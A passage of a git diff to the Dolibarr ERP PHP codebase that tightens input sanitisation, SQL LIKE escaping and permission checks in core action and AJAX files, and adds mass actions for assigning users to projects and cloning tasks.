a/htdocs/core/actions_addupdatedelete.inc.php +++ b/htdocs/core/actions_addupdatedelete.inc.php @@ -76,8 +76,20 @@ if ($action == 'add' && !empty($permissiontoadd)) { } // Set value to insert - if (in_array($object->fields[$key]['type'], array('text', 'html'))) { - $value = GETPOST($key, 'restricthtml'); + if (preg_match('/^text/', $object->fields[$key]['type'])) { + $tmparray = explode(':', $object->fields[$key]['type']); + if (!empty($tmparray[1])) { + $value = GETPOST($key, $tmparray[1]); + } else { + $value = GETPOST($key, 'nohtml'); + } + } elseif (preg_match('/^html/', $object->fields[$key]['type'])) { + $tmparray = explode(':', $object->fields[$key]['type']); + if (!empty($tmparray[1])) { + $value = GETPOST($key, $tmparray[1]); + } else { + $value = GETPOST($key, 'restricthtml'); + } } elseif ($object->fields[$key]['type'] == 'date') { $value = dol_mktime(12, 0, 0, GETPOST($key.'month', 'int'), GETPOST($key.'day', 'int'), GETPOST($key.'year', 'int')); // for date without hour, we use gmt } elseif ($object->fields[$key]['type'] == 'datetime') { @@ -205,7 +217,14 @@ if ($action == 'update' && !empty($permissiontoadd)) { } // Set value to update - if (preg_match('/^(text|html)/', $object->fields[$key]['type'])) { + if (preg_match('/^text/', $object->fields[$key]['type'])) { + $tmparray = explode(':', $object->fields[$key]['type']); + if (!empty($tmparray[1])) { + $value = GETPOST($key, $tmparray[1]); + } else { + $value = GETPOST($key, 'nohtml'); + } + } elseif (preg_match('/^html/', $object->fields[$key]['type'])) { $tmparray = explode(':', $object->fields[$key]['type']); if (!empty($tmparray[1])) { $value = GETPOST($key, $tmparray[1]); @@ -285,7 +304,7 @@ if ($action == 'update' && !empty($permissiontoadd)) { $action = 'view'; $urltogo = $backtopage ? str_replace('__ID__', $result, $backtopage) : $backurlforlist; $urltogo = preg_replace('/--IDFORBACKTOPAGE--/', $object->id, $urltogo); // New method to autoselect project after a New on another form object creation - if ($urltogo && !$noback) { + if ($urltogo && empty($noback)) { header("Location: " . $urltogo); exit; } diff --git a/htdocs/core/actions_linkedfiles.inc.php b/htdocs/core/actions_linkedfiles.inc.php index 4e2cd2873b6..6c5ac91c9bb 100644 --- a/htdocs/core/actions_linkedfiles.inc.php +++ b/htdocs/core/actions_linkedfiles.inc.php @@ -188,7 +188,7 @@ if ($action == 'confirm_deletefile' && $confirm == 'yes' && !empty($permissionto //error fetching } } elseif ($action == 'renamefile' && GETPOST('renamefilesave', 'alpha') && !empty($permissiontoadd)) { - // For documents pages, upload_dir contains already path to file from module dir, so we clean path into urlfile. + // For documents pages, upload_dir contains already the path to the file from module dir if (!empty($upload_dir)) { $filenamefrom = dol_sanitizeFileName(GETPOST('renamefilefrom', 'alpha'), '_', 0); // Do not remove accents $filenameto = dol_sanitizeFileName(GETPOST('renamefileto', 'alpha'), '_', 0); // Do not remove accents @@ -200,7 +200,22 @@ if ($action == 'confirm_deletefile' && $confirm == 'yes' && !empty($permissionto $error++; setEventMessages($langs->trans('ErrorWrongFileName'), null, 'errors'); } - if (!$error && $filenamefrom != $filenameto) { + + // Check that filename is not the one of a reserved allowed CLI command + if (empty($error)) { + global $dolibarr_main_restrict_os_commands; + if (!empty($dolibarr_main_restrict_os_commands)) { + $arrayofallowedcommand = explode(',', $dolibarr_main_restrict_os_commands); + $arrayofallowedcommand = array_map('trim', $arrayofallowedcommand); + if (in_array(basename($filenameto), $arrayofallowedcommand)) { + $error++; + $langs->load("errors"); // key must be loaded because we can't rely on loading during output, we need var substitution to be done now. + setEventMessages($langs->trans("ErrorFilenameReserved", basename($filenameto)), null, 'errors'); + } + } + } + + if (empty($error) && $filenamefrom != $filenameto) { // Security: // Disallow file with some extensions. We rename them. // Because if we put the documents directory into a directory inside web root (very bad), this allows to execute on demand arbitrary code. @@ -236,17 +251,18 @@ if ($action == 'confirm_deletefile' && $confirm == 'yes' && !empty($permissionto // When we rename a file from the file manager in ecm, we must not regenerate thumbs (not a problem, we do pass here) // When we rename a file from the website module, we must not regenerate thumbs (module = medias in such a case) // but when we rename from a tab "Documents", we must regenerate thumbs - if (GETPOST('modulepart') == 'medias') { + if (GETPOST('modulepart', 'aZ09') == 'medias') { $generatethumbs = 0; } if ($generatethumbs) { - if ($object->id) { + if ($object->id > 0) { + // Create thumbs for the new file $object->addThumbs($destpath); - } - // TODO Add revert function of addThumbs to remove thumbs with old name - //$object->delThumbs($srcpath); + // Delete thumb files with old name + $object->delThumbs($srcpath); + } } setEventMessages($langs->trans("FileRenamed"), null); diff --git a/htdocs/core/actions_massactions.inc.php b/htdocs/core/actions_massactions.inc.php index 02d4215b963..460b6407789 100644 --- a/htdocs/core/actions_massactions.inc.php +++ b/htdocs/core/actions_massactions.inc.php @@ -44,6 +44,7 @@ if (empty($objectclass) || empty($uploaddir)) { if (empty($massaction)) { $massaction = ''; } +$error = 0; // For backward compatibility if (!empty($permtoread) && empty($permissiontoread)) { @@ -92,11 +93,11 @@ if (!$error && $massaction == 'confirm_presend') { $objecttmp = new $objectclass($db); if ($objecttmp->element == 'expensereport') { $thirdparty = new User($db); - } - if ($objecttmp->element == 'partnership' && getDolGlobalString('PARTNERSHIP_IS_MANAGED_FOR') == 'member') { + } elseif ($objecttmp->element == 'contact') { + $thirdparty = new Contact($db); + } elseif ($objecttmp->element == 'partnership' && getDolGlobalString('PARTNERSHIP_IS_MANAGED_FOR') == 'member') { $thirdparty = new Adherent($db); - } - if ($objecttmp->element == 'holiday') { + } elseif ($objecttmp->element == 'holiday') { $thirdparty = new User($db); } @@ -109,14 +110,13 @@ if (!$error && $massaction == 'confirm_presend') { $thirdpartyid = ($objecttmp->fk_soc ? $objecttmp->fk_soc : $objecttmp->socid); if ($objecttmp->element == 'societe') { $thirdpartyid = $objecttmp->id; - } - if ($objecttmp->element == 'expensereport') { + } elseif ($objecttmp->element == 'contact') { + $thirdpartyid = $objecttmp->id; + } elseif ($objecttmp->element == 'expensereport') { $thirdpartyid = $objecttmp->fk_user_author; - } - if ($objecttmp->element == 'partnership' && getDolGlobalString('PARTNERSHIP_IS_MANAGED_FOR') == 'member') { + } elseif ($objecttmp->element == 'partnership' && getDolGlobalString('PARTNERSHIP_IS_MANAGED_FOR') == 'member') { $thirdpartyid = $objecttmp->fk_member; - } - if ($objecttmp->element == 'holiday') { + } elseif ($objecttmp->element == 'holiday') { $thirdpartyid = $objecttmp->fk_user; } if (empty($thirdpartyid)) { @@ -267,6 +267,10 @@ if (!$error && $massaction == 'confirm_presend') { $fuser = new User($db); $fuser->fetch($objectobj->fk_user_author); $sendto = $fuser->email; + } elseif ($objectobj->element == 'contact') { + $fcontact = new Contact($db); + $fcontact->fetch($objectobj->id); + $sendto = $fcontact->email; } elseif ($objectobj->element == 'partnership' && getDolGlobalString('PARTNERSHIP_IS_MANAGED_FOR') == 'member') { $fadherent = new Adherent($db); $fadherent->fetch($objectobj->fk_member); @@ -465,7 +469,7 @@ if (!$error && $massaction == 'confirm_presend') { $substitutionarray['__ID__'] = ($oneemailperrecipient ? join(', ', array_keys($listofqualifiedobj)) : $objecttmp->id); $substitutionarray['__REF__'] = ($oneemailperrecipient ? join(', ', $listofqualifiedref) : $objecttmp->ref); $substitutionarray['__EMAIL__'] = $thirdparty->email; - $substitutionarray['__CHECK_READ__'] = ''; + $substitutionarray['__CHECK_READ__'] = ''; $parameters = array('mode'=>'formemail'); @@ -509,31 +513,28 @@ if (!$error && $massaction == 'confirm_presend') { $trackid = 'thi'.$thirdparty->id; if ($objecttmp->element == 'expensereport') { $trackid = 'use'.$thirdparty->id; - } - if ($objecttmp->element == 'holiday') { + } elseif ($objecttmp->element == 'contact') { + $trackid = 'ctc'.$thirdparty->id; + } elseif ($objecttmp->element == 'holiday') { $trackid = 'use'.$thirdparty->id; } } else { $trackid = strtolower(get_class($objecttmp)); - if (get_class($objecttmp) == 'Contrat') { + if (get_class($objecttmp) == 'Contact') { + $trackid = 'ctc'; + } elseif (get_class($objecttmp) == 'Contrat') { $trackid = 'con'; - } - if (get_class($objecttmp) == 'Propal') { + } elseif (get_class($objecttmp) == 'Propal') { $trackid = 'pro'; - } - if (get_class($objecttmp) == 'Commande') { + } elseif (get_class($objecttmp) == 'Commande') { $trackid = 'ord'; - } - if (get_class($objecttmp) == 'Facture') { + } elseif (get_class($objecttmp) == 'Facture') { $trackid = 'inv'; - } - if (get_class($objecttmp) == 'Supplier_Proposal') { + } elseif (get_class($objecttmp) == 'Supplier_Proposal') { $trackid = 'spr'; - } - if (get_class($objecttmp) == 'CommandeFournisseur') { + } elseif (get_class($objecttmp) == 'CommandeFournisseur') { $trackid = 'sor'; - } - if (get_class($objecttmp) == 'FactureFournisseur') { + } elseif (get_class($objecttmp) == 'FactureFournisseur') { $trackid = 'sin'; } @@ -591,6 +592,9 @@ if (!$error && $massaction == 'confirm_presend') { $objectobj2->actionmsg2 = $actionmsg2; // Short text $objectobj2->fk_element = $objid2; $objectobj2->elementtype = $objectobj2->element; + if (!empty($conf->global->MAIN_MAIL_REPLACE_EVENT_TITLE_BY_EMAIL_SUBJECT)) { + $objectobj2->actionmsg2 = $subjectreplaced; // Short text + } $triggername = strtoupper(get_class($objectobj2)).'_SENTBYMAIL'; if ($triggername == 'SOCIETE_SENTBYMAIL') { @@ -680,7 +684,6 @@ if (!$error && $massaction == 'cancelorders') { $nbok = 0; - $orders = GETPOST('toselect', 'array'); foreach ($orders as $id_order) { $cmd = new Commande($db); @@ -749,7 +752,7 @@ if (!$error && $massaction == "builddoc" && $permissiontoread && !GETPOST('butto $arrayofinclusion[] = '^'.preg_quote(dol_sanitizeFileName($tmppdf), '/').'\.pdf$'; } foreach ($listofobjectref as $tmppdf) { - $arrayofinclusion[] = '^'.preg_quote(dol_sanitizeFileName($tmppdf), '/').'_[a-zA-Z0-9-_]+\.pdf$'; // To include PDF generated from ODX files + $arrayofinclusion[] = '^'.preg_quote(dol_sanitizeFileName($tmppdf), '/').'_[a-zA-Z0-9\-\_\']+\.pdf$'; // To include PDF generated from ODX files } $listoffiles = dol_dir_list($uploaddir, 'all', 1, implode('|', $arrayofinclusion), '\.meta$|\.png', 'date', SORT_DESC, 0, true); @@ -816,9 +819,7 @@ if (!$error && $massaction == "builddoc" && $permissiontoread && !GETPOST('butto // check if pdftk is installed if (file_exists($file)) { - if (!empty($conf->global->MAIN_UMASK)) { - @chmod($file, octdec($conf->global->MAIN_UMASK)); - } + dolChmod($file); $langs->load("exports"); setEventMessages($langs->trans('FileSuccessfullyBuilt', $filename.'_'.dol_print_date($now, 'dayhourlog')), null, 'mesgs'); @@ -884,9 +885,7 @@ if (!$error && $massaction == "builddoc" && $permissiontoread && !GETPOST('butto $now = dol_now(); $file = $diroutputmassaction.'/'.$filename.'_'.dol_print_date($now, 'dayhourlog').'.pdf'; $pdf->Output($file, 'F'); - if (!empty($conf->global->MAIN_UMASK)) { - @chmod($file, octdec($conf->global->MAIN_UMASK)); - } + dolChmod($file); $langs->load("exports"); setEventMessages($langs->trans('FileSuccessfullyBuilt', $filename.'_'.dol_print_date($now, 'dayhourlog')), null, 'mesgs'); @@ -954,7 +953,14 @@ if (!$error && $massaction == 'validate' && $permissiontoadd) { foreach ($toselect as $toselectid) { $result = $objecttmp->fetch($toselectid); if ($result > 0) { - $result = $objecttmp->validate($user); + if (method_exists($objecttmp, 'validate')) { + $result = $objecttmp->validate($user); + } elseif (method_exists($objecttmp, 'setValid')) { + $result = $objecttmp->setValid($user); + } else { + $objecttmp->error = 'No method validate or setValid on this object'; + $result = -1; + } if ($result == 0) { $langs->load("errors"); setEventMessages($langs->trans("ErrorObjectMustHaveStatusDraftToBeValidated", $objecttmp->ref), null, 'errors'); @@ -973,8 +979,13 @@ if (!$error && $massaction == 'validate' && $permissiontoadd) { if (getDolGlobalInt('MAIN_MULTILANGS') && empty($newlang) && GETPOST('lang_id', 'aZ09')) { $newlang = GETPOST('lang_id', 'aZ09'); } - if (getDolGlobalInt('MAIN_MULTILANGS') && empty($newlang)) { - $newlang = $objecttmp->thirdparty->default_lang; + if (getDolGlobalInt('MAIN_MULTILANGS') && empty($newlang) && property_exists($objecttmp, 'thirdparty')) { + if ((property_exists($objecttmp, 'socid') || property_exists($objecttmp, 'fk_soc')) && empty($objecttmp->thirdparty)) { + $objecttmp->fetch_thirdparty(); + } + if (!empty($objecttmp->thirdparty)) { + $newlang = $objecttmp->thirdparty->default_lang; + } } if (!empty($newlang)) { $outputlangs = new Translate("", $conf); @@ -1045,8 +1056,9 @@ if (!$error && ($massaction == 'delete' || ($action == 'delete' && $confirm == ' } if ($objectclass == 'Holiday' && ! in_array($objecttmp->statut, array(Holiday::STATUS_DRAFT, Holiday::STATUS_CANCELED, Holiday::STATUS_REFUSED))) { + $langs->load("errors"); $nbignored++; - $resaction .= '
      '.$langs->trans('ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted', $objecttmp->ref).'

      '; + $TMsg[] = '
      '.$langs->trans('ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted', $objecttmp->ref).'

      '; continue; } @@ -1323,6 +1335,60 @@ if (!$error && ($action == 'setsupervisor' && $confirm == 'yes') && $permissiont } } +if (!$error && ($action == 'affectuser' && $confirm == 'yes') && $permissiontoadd) { + $db->begin(); + + $usertoaffect=GETPOST('usertoaffect'); + $projectrole=GETPOST('projectrole'); + $tasksrole=GETPOST('tasksrole'); + if (!empty($usertoaffect)) { + foreach ($toselect as $toselectid) { + $result = $object->fetch($toselectid); + //var_dump($contcats);exit; + if ($result > 0) { + $res = $object->add_contact($usertoaffect, $projectrole, 'internal'); + if ($res >= 0) { + $taskstatic = new Task($db); + $task_array = $taskstatic->getTasksArray(0, 0, $object->id, 0, 0); + + foreach ($task_array as $task) { + $tasksToAffect = new Task($db); + $result = $tasksToAffect->fetch($task->id); + if ($result > 0) { + $res = $tasksToAffect->add_contact($usertoaffect, $tasksrole, 'internal'); + if ($res < 0) { + setEventMessages($tasksToAffect->error, $tasksToAffect->errors, 'errors'); + } + } + } + $nbok++; + } else { + setEventMessages($object->error, $object->errors, 'errors'); + } + } else { + setEventMessages($object->error, $object->errors, 'errors'); + $error++; + break; + } + } + } else { + setEventMessage('UserNotFound', 'errors'); + $error++; + } + + if (!$error) { + if ($nbok > 1) { + setEventMessages($langs->trans("RecordsModified", $nbok), null); + } else { + setEventMessages($langs->trans("RecordsModified", $nbok), null); + } + $db->commit(); + $toselect=array(); + } else { + $db->rollback(); + } +} + if (!$error && ($massaction == 'enable' || ($action == 'enable' && $confirm == 'yes')) && $permissiontoadd) { $db->begin(); @@ -1507,7 +1573,7 @@ if (!$error && ($massaction == 'approveleave' || ($action == 'approveleave' && $ // If no SQL error, we redirect to the request form if (!$error) { - // Calculcate number of days consummed + // Calculcate number of days consumed $nbopenedday = num_open_day($objecttmp->date_debut_gmt, $objecttmp->date_fin_gmt, 0, 1, $objecttmp->halfday); $soldeActuel = $objecttmp->getCpforUser($objecttmp->fk_user, $objecttmp->fk_type); $newSolde = ($soldeActuel - $nbopenedday); @@ -1649,6 +1715,66 @@ if (!$error && ($massaction == 'increaseholiday' || ($action == 'increaseholiday } } +//if (!$error && $massaction == 'clonetasks' && $user->rights->projet->creer) { +if (!$error && ($massaction == 'clonetasks' || ($action == 'clonetasks' && $confirm == 'yes'))) { + $num = 0; + + dol_include_once('/projet/class/task.class.php'); + + $origin_task = new Task($db); + $clone_task = new Task($db); + + foreach (GETPOST('selected') as $task) { + $origin_task->fetch($task, $ref = '', $loadparentdata = 0); + + $defaultref = ''; + $obj = empty($conf->global->PROJECT_TASK_ADDON) ? 'mod_task_simple' : $conf->global->PROJECT_TASK_ADDON; + if (!empty($conf->global->PROJECT_TASK_ADDON) && is_readable(DOL_DOCUMENT_ROOT . "/core/modules/project/task/" . $conf->global->PROJECT_TASK_ADDON . ".php")) { + require_once DOL_DOCUMENT_ROOT . "/core/modules/project/task/" . $conf->global->PROJECT_TASK_ADDON . '.php'; + $modTask = new $obj; + $defaultref = $modTask->getNextValue(0, $clone_task); + } + + if (!$error) { + $clone_task->fk_project = GETPOST('projectid', 'int'); + $clone_task->ref = $defaultref; + $clone_task->label = $origin_task->label; + $clone_task->description = $origin_task->description; + $clone_task->planned_workload = $origin_task->planned_workload; + $clone_task->fk_task_parent = $origin_task->fk_task_parent; + $clone_task->date_c = dol_now(); + $clone_task->date_start = $origin_task->date_start; + $clone_task->date_end = $origin_task->date_end; + $clone_task->progress = $origin_task->progress; + + // Fill array 'array_options' with data from add form + $ret = $extrafields->setOptionalsFromPost(null, $clone_task); + + $taskid = $clone_task->create($user); + + if ($taskid > 0) { + $result = $clone_task->add_contact(GETPOST("userid", 'int'), 'TASKEXECUTIVE', 'internal'); + $num++; + } else { + if ($db->lasterrno() == 'DB_ERROR_RECORD_ALREADY_EXISTS') { + $langs->load("projects"); + setEventMessages($langs->trans('NewTaskRefSuggested'), '', 'warnings'); + $duplicate_code_error = true; + } else { + setEventMessages($clone_task->error, $clone_task->errors, 'errors'); + } + $action = 'list'; + $error++; + } + } + } + + if (!$error) { + setEventMessage($langs->trans('NumberOfTasksCloned', $num)); + header("Refresh: 1;URL=".DOL_URL_ROOT.'/projet/tasks.php?id=' . GETPOST('projectid', 'int')); + } +} + $parameters['toselect'] = (empty($toselect) ? array() : $toselect); $parameters['uploaddir'] = $uploaddir; $parameters['massaction'] = $massaction; diff --git a/htdocs/core/actions_sendmails.inc.php b/htdocs/core/actions_sendmails.inc.php index 772d2b7ed5d..624fe5766d2 100644 --- a/htdocs/core/actions_sendmails.inc.php +++ b/htdocs/core/actions_sendmails.inc.php @@ -190,7 +190,7 @@ if (($action == 'send' || $action == 'relance') && !GETPOST('addfile') && !GETPO $tmparray[] = trim(GETPOST('sendto', 'alphawithlgt')); } - if (trim($_POST['tomail'])) { + if (isset($_POST['tomail']) && trim($_POST['tomail'])) { // Recipients are provided into free hidden text field $tmparray[] = trim(GETPOST('tomail', 'alphawithlgt')); } @@ -346,7 +346,7 @@ if (($action == 'send' || $action == 'relance') && !GETPOST('addfile') && !GETPO // Make substitution in email content $substitutionarray = getCommonSubstitutionArray($langs, 0, null, $object); $substitutionarray['__EMAIL__'] = $sendto; - $substitutionarray['__CHECK_READ__'] = (is_object($object) && is_object($object->thirdparty)) ? '' : ''; + $substitutionarray['__CHECK_READ__'] = (is_object($object) && is_object($object->thirdparty)) ? '' : ''; $parameters = array('mode'=>'formemail'); complete_substitutions_array($substitutionarray, $langs, $object, $parameters); @@ -382,6 +382,9 @@ if (($action == 'send' || $action == 'relance') && !GETPOST('addfile') && !GETPO $object->actiontypecode = $actiontypecode; // Type of event ('AC_OTH', 'AC_OTH_AUTO', 'AC_XXX'...) $object->actionmsg = $message; // Long text $object->actionmsg2 = $actionmsg2; // Short text ($langs->transnoentities('MailSentBy')...); + if (!empty($conf->global->MAIN_MAIL_REPLACE_EVENT_TITLE_BY_EMAIL_SUBJECT)) { + $object->actionmsg2 = $subject; // Short text + } $object->trackid = $trackid; $object->fk_element = $object->id; diff --git a/htdocs/core/actions_setmoduleoptions.inc.php b/htdocs/core/actions_setmoduleoptions.inc.php index fbf526fd58e..deca9588444 100644 --- a/htdocs/core/actions_setmoduleoptions.inc.php +++ b/htdocs/core/actions_setmoduleoptions.inc.php @@ -127,6 +127,7 @@ if ($action == 'setModuleOptions' && !empty($user->admin)) { include_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; $keyforuploaddir = GETPOST('keyforuploaddir', 'aZ09'); $listofdir = explode(',', preg_replace('/[\r\n]+/', ',', trim(getDolGlobalString($keyforuploaddir)))); + foreach ($listofdir as $key => $tmpdir) { $tmpdir = trim($tmpdir); $tmpdir = preg_replace('/DOL_DATA_ROOT\/*/', '', $tmpdir); // Clean string if we found a hardcoded DOL_DATA_ROOT @@ -144,6 +145,8 @@ if ($action == 'setModuleOptions' && !empty($user->admin)) { break; // So we take the first directory found into setup $conf->global->$keyforuploaddir } } + + if ($upload_dir) { $result = dol_add_file_process($upload_dir, 1, 1, 'uploadfile', ''); if ($result <= 0) { diff --git a/htdocs/core/actions_setnotes.inc.php b/htdocs/core/actions_setnotes.inc.php index a731fac76de..44fd5754e22 100644 --- a/htdocs/core/actions_setnotes.inc.php +++ b/htdocs/core/actions_setnotes.inc.php @@ -60,7 +60,12 @@ if ($action == 'setnote_public' && !empty($permissionnote) && !GETPOST('cancel', $hidedesc = (GETPOST('hidedesc', 'int') ? GETPOST('hidedesc', 'int') : (!empty($conf->global->MAIN_GENERATE_DOCUMENTS_HIDE_DESC) ? 1 : 0)); $hideref = (GETPOST('hideref', 'int') ? GETPOST('hideref', 'int') : (!empty($conf->global->MAIN_GENERATE_DOCUMENTS_HIDE_REF) ? 1 : 0)); - $result = $object->generateDocument($model, $outputlangs, $hidedetails, $hidedesc, $hideref); + //see #21072: Update a public note with a "document model not found" is not really a problem : the PDF is not created/updated + //but the note is saved, so just add a notification will be enought + $resultGenDoc = $object->generateDocument($model, $outputlangs, $hidedetails, $hidedesc, $hideref); + if ($resultGenDoc < 0) { + setEventMessages($object->error, $object->errors, 'warnings'); + } if ($result < 0) { dol_print_error($db, $result); diff --git a/htdocs/core/ajax/ajaxcompanies.php b/htdocs/core/ajax/ajaxcompanies.php index ef0d7303715..086d20e7967 100644 --- a/htdocs/core/ajax/ajaxcompanies.php +++ b/htdocs/core/ajax/ajaxcompanies.php @@ -31,6 +31,14 @@ if (!defined('NOREQUIRESOC')) define('NOREQUIRESOC', '1'); // Load Dolibarr environment require '../../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/societe/class/societe.class.php'; + +$object = new Societe($db); + +$usesublevelpermission = ''; + +// Security check +restrictedArea($user, $object->module, $object, $object->table_element, $usesublevelpermission); /* @@ -54,9 +62,9 @@ if (GETPOST('newcompany') || GETPOST('socid', 'int') || GETPOST('id_fourn')) { $return_arr = array(); // Define filter on text typed - $socid = $_GET['newcompany'] ? $_GET['newcompany'] : ''; - if (!$socid) $socid = $_GET['socid'] ? $_GET['socid'] : ''; - if (!$socid) $socid = $_GET['id_fourn'] ? $_GET['id_fourn'] : ''; + $socid = GETPOST('newcompany'); + if (!$socid) $socid = GETPOST('socid'); + if (!$socid) $socid = GETPOST('id_fourn'); $sql = "SELECT s.rowid, s.nom, s.name_alias, s.code_client, s.code_fournisseur, s.address, s.zip, s.town, s.email, s.siren, s.siret, s.ape, s.idprof4, s.client, s.fournisseur, s.datec, s.logo"; $sql .= " , c.label as country, d.nom as departement"; @@ -68,17 +76,22 @@ if (GETPOST('newcompany') || GETPOST('socid', 'int') || GETPOST('id_fourn')) { $sql .= " AND ("; // Add criteria on name/code if (!empty($conf->global->COMPANY_DONOTSEARCH_ANYWHERE)) { // Can use index - $sql .= "s.nom LIKE '".$db->escape($socid)."%'"; - $sql .= " OR s.code_client LIKE '".$db->escape($socid)."%'"; - $sql .= " OR s.code_fournisseur LIKE '".$db->escape($socid)."%'"; + $sql .= "s.nom LIKE '".$db->escape($db->escapeforlike($socid))."%'"; + $sql .= " OR s.code_client LIKE '".$db->escape($db->escapeforlike($socid))."%'"; + $sql .= " OR s.code_fournisseur LIKE '".$db->escape($db->escapeforlike($socid))."%'"; } else { - $sql .= "s.nom LIKE '%".$db->escape($socid)."%'"; - $sql .= " OR s.code_client LIKE '%".$db->escape($socid)."%'"; - $sql .= " OR s.code_fournisseur LIKE '%".$db->escape($socid)."%'"; + $sql .= "s.nom LIKE '%".$db->escape($db->escapeforlike($socid))."%'"; + $sql .= " OR s.code_client LIKE '%".$db->escape($db->escapeforlike($socid))."%'"; + $sql .= " OR s.code_fournisseur LIKE '%".$db->escape($db->escapeforlike($socid))."%'"; + } + if (!empty($conf->global->SOCIETE_ALLOW_SEARCH_ON_ROWID)) { + $sql .= " OR s.rowid = ".((int) $socid); } - if (!empty($conf->global->SOCIETE_ALLOW_SEARCH_ON_ROWID)) $sql .= " OR s.rowid = '".$db->escape($socid)."'"; $sql .= ")"; } + if ($user->socid > 0) { + $sql .= " AND s.rowid = ".((int) $user->socid); + } //if (GETPOST("filter")) $sql.= " AND (".GETPOST("filter", "alpha").")"; // Add other filters $sql .= " ORDER BY s.nom ASC"; diff --git a/htdocs/core/ajax/ajaxdirpreview.php b/htdocs/core/ajax/ajaxdirpreview.php index 7b29159b227..b5f772212b9 100644 --- a/htdocs/core/ajax/ajaxdirpreview.php +++ b/htdocs/core/ajax/ajaxdirpreview.php @@ -104,8 +104,10 @@ if (!isset($mode) || $mode != 'noajax') { // For ajax call $upload_dir = $rootdirfordoc.'/'.$relativepath; } -if (empty($url)) { - if (GETPOSTISSET('website')) { +if (empty($url)) { // autoset $url but it is better to have it defined before into filemanager.tpl.php (not possible when in auto tree) + if (!empty($module) && $module == 'medias' && !GETPOST('website')) { + $url = DOL_URL_ROOT.'/ecm/index_medias.php'; + } elseif (GETPOSTISSET('website')) { $url = DOL_URL_ROOT.'/website/index.php'; } else { $url = DOL_URL_ROOT.'/ecm/index.php'; @@ -115,14 +117,14 @@ if (empty($url)) { // Load translation files required by the page $langs->loadLangs(array("ecm", "companies", "other")); +if (empty($modulepart)) { + $modulepart = $module; +} + // Security check if ($user->socid > 0) { $socid = $user->socid; } - -//print 'xxx'.$upload_dir; - -// Security: // On interdit les remontees de repertoire ainsi que les pipe dans les noms de fichiers. if (preg_match('/\.\./', $upload_dir) || preg_match('/[<>|]/', $upload_dir)) { dol_syslog("Refused to deliver file ".$upload_dir); @@ -130,15 +132,15 @@ if (preg_match('/\.\./', $upload_dir) || preg_match('/[<>|]/', $upload_dir)) { dol_print_error(0, $langs->trans("ErrorFileNameInvalid", $upload_dir)); exit; } - // Check permissions if ($modulepart == 'ecm') { - if (!$user->rights->ecm->read) { + if (!$user->hasRight('ecm', 'read')) { accessforbidden(); } -} -if ($modulepart == 'medias') { +} elseif ($modulepart == 'medias' || $modulepart == 'website') { // Always allowed +} else { + accessforbidden(); } @@ -172,7 +174,7 @@ if (!dol_is_dir($upload_dir)) { exit;*/ } -print ''."\n"; +print ''."\n"; //print ''."\n"; $param = ($sortfield ? '&sortfield='.urlencode($sortfield) : '').($sortorder ? '&sortorder='.urlencode($sortorder) : ''); @@ -315,7 +317,7 @@ if ($type == 'directory') { $upload_dir = $dolibarr_main_data_root.'/'.$module.'/'.$relativepath; if (GETPOSTISSET('website') || GETPOSTISSET('file_manager')) { $param .= '&file_manager=1'; - if (!preg_match('/website=/', $param)) { + if (!preg_match('/website=/', $param) && GETPOST('website', 'alpha')) { $param .= '&website='.urlencode(GETPOST('website', 'alpha')); } if (!preg_match('/pageid=/', $param)) { @@ -355,31 +357,31 @@ if ($type == 'directory') { if ($module == 'medias') { $useinecm = 6; $modulepart = 'medias'; - $perm = ($user->rights->website->write || $user->rights->emailing->creer); + $perm = ($user->hasRight("website", "write") || $user->hasRight("emailing", "creer")); $title = 'none'; } elseif ($module == 'ecm') { // DMS/ECM -> manual structure - if ($user->rights->ecm->read) { + if ($user->hasRight("ecm", "read")) { // Buttons: Preview $useinecm = 2; } - if ($user->rights->ecm->upload) { + if ($user->hasRight("ecm", "upload")) { // Buttons: Preview + Delete $useinecm = 4; } - if ($user->rights->ecm->setup) { + if ($user->hasRight("ecm", "setup")) { // Buttons: Preview + Delete + Edit $useinecm = 5; } - $perm = $user->rights->ecm->upload; + $perm = $user->hasRight("ecm", "upload"); $modulepart = 'ecm'; $title = ''; // Use default } else { $useinecm = 5; $modulepart = 'ecm'; - $perm = $user->rights->ecm->upload; + $perm = $user->hasRight("ecm", "upload"); $title = ''; // Use default } @@ -441,7 +443,7 @@ if ($useajax || $action == 'deletefile') { if ($useajax) { print ''."\n"; - print ''; // This ajax service is called only when a directory $selecteddir is opened but not when closed. - //print ''; } diff --git a/htdocs/core/ajax/ajaxinvoiceline.php b/htdocs/core/ajax/ajaxinvoiceline.php new file mode 100644 index 00000000000..f575bf326ac --- /dev/null +++ b/htdocs/core/ajax/ajaxinvoiceline.php @@ -0,0 +1,68 @@ + + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file htdocs/core/ajax/ajaxinvoiceline.php + * \brief File to load contacts combobox + */ + +if (!defined('NOTOKENRENEWAL')) { + define('NOTOKENRENEWAL', '1'); // Disables token renewal +} +if (!defined('NOREQUIREMENU')) { + define('NOREQUIREMENU', '1'); +} +if (!defined('NOREQUIREAJAX')) { + define('NOREQUIREAJAX', '1'); +} + +// Load Dolibarr environment +require '../../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formprojet.class.php'; + +$invoice_id = GETPOST('id', 'int'); // id of thirdparty +$action = GETPOST('action', 'aZ09'); +$htmlname = GETPOST('htmlname', 'alpha'); + + +// Security check +restrictedArea($user, 'facture', $invoice_id, '', '', 'fk_soc', 'rowid'); + + +/* + * View + */ + +top_httphead(); + +//print ''."\n"; + +// Load original field value +if (!empty($invoice_id) && !empty($action) && !empty($htmlname)) { + $formProject = new FormProjets($db); + + $return = array(); + if (empty($showempty)) { + $showempty = 0; + } + + $return['value'] = $formProject->selectInvoiceAndLine($invoice_id, 0, 'invoiceid', 'invoicelineid', 'maxwidth500', array(), 1); + //$return['num'] = $form->num; + //$return['error'] = $form->error; + + echo json_encode($return); +} diff --git a/htdocs/core/ajax/ajaxtooltip.php b/htdocs/core/ajax/ajaxtooltip.php new file mode 100644 index 00000000000..33cdfb4831f --- /dev/null +++ 